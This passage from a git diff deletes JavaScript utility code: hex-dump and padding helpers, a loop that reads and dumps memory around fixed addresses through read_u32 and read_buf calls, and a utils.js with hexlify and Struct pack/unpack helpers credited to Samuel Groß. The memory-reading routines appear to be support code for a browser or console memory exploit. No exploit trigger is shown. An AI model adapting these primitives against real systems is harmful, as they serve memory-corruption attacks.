- s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); - s += ": "; - s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); - if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { - s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); - s += "\n"; - val = read_u32(u8x4_to_u32(tmp)); - if (val >= 0x1800000 && val < 0x1900000) { - buf = read_buf(val, 0x100); - s += (hexdump(buf, 8, 2, val, 8, "0x")); - } - } - s += "\n"; - } - - return s; -} - -/* - * pad str to n chars with c chars to the left -*/ -function pad_left(s, c, n) { - s_ = s; - - if (s_.length < n) { - s_ = c.repeat(n - s_.length) + s_; - } - - return s_; -} - -/* - * convert ASCII str to uint8array (unicode be damned) - */ -function str_to_uint8_buf(s) { - buf = new Uint8Array(s.length); - - for (i = 0; i < s.length; i++) { - buf[i] = s.charCodeAt(i); - } - - return buf; -} - -/* - * HOLY UGLY BATMAN! - */ -function hexdump(buf, cols, col_split, base, pad_base, base_prefix) { - s = ""; - if (buf.constructor != Uint8Array) { - buf = str_to_uint8_buf(buf); - } - - for (i = 0; i < buf.length; i += (cols * col_split)) { - cur_base = base + i; - s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": "; - for (j = i; j < (i + (cols * col_split)); j += col_split) { - for (k = j; k < (j + col_split); k++) { - val = buf[k]; - try { - s += pad_left(val.toString(16), "0", 2); - } catch (e) { - s += " "; - } - } - s += " "; - } - - for (j = i; j < (i + (cols * col_split)); j++) { - val = buf[j]; - - if (val < 0x20 || val >= 0x80) { - val = 0x2e; // period - } - - chr = String.fromCharCode(val); - s += chr; - } - - s += "\n"; - } - - return s; -} - -/* - * HEX SHIT - */ -function prim_hexdump(buf) { - s = ""; - - for (i = 0; i < buf.length; i++) { - val = buf[i]; - s += pad_left(val.toString(16), "0", 2); - } - - return s; -} diff --git a/src/js/utils.js b/src/js/utils.js deleted file mode 100644 index 361e71d..0000000 --- a/src/js/utils.js +++ /dev/null @@ -1,78 +0,0 @@ -// -// Utility functions. -// -// Copyright (c) 2016 Samuel Groß -// - -// Return the hexadecimal representation of the given byte. -function hex(b) { - return ('0' + b.toString(16)).substr(-2); -} - -// Return the hexadecimal representation of the given byte array. -function hexlify(bytes) { - var res = []; - for (var i = 0; i < bytes.length; i++) - res.push(hex(bytes[i])); - - return res.join(''); -} - -// Return the binary data represented by the given hexdecimal string. -function unhexlify(hexstr) { - if (hexstr.length % 2 == 1) - throw new TypeError("Invalid hex string"); - - var bytes = new Uint8Array(hexstr.length / 2); - for (var i = 0; i < hexstr.length; i += 2) - bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); - - return bytes; -} - -function hexdump(data) { - if (typeof data.BYTES_PER_ELEMENT !== 'undefined') - data = Array.from(data); - - var lines = []; - for (var i = 0; i < data.length; i += 16) { - var chunk = data.slice(i, i+16); - var parts = chunk.map(hex); - if (parts.length > 8) - parts.splice(8, 0, ' '); - lines.push(parts.join(' ')); - } - - return lines.join('\n'); -} - -// Simplified version of the similarly named python module. -var Struct = (function() { - // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. - var buffer = new ArrayBuffer(8); - var byteView = new Uint8Array(buffer); - var uint32View = new Uint32Array(buffer); - var float64View = new Float64Array(buffer); - - return { - pack: function(type, value) { - var view = type; // See below - view[0] = value; - return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); - }, - - unpack: function(type, bytes) { - if (bytes.length !== type.BYTES_PER_ELEMENT) - throw Error("Invalid bytearray"); - - var view = type; // See below - byteView.set(bytes); - return view[0]; - }, - - // Available types. - int8: byteView, - int32: uint32View, - float64: float64View - }; -})(); -- cgit v1.2.3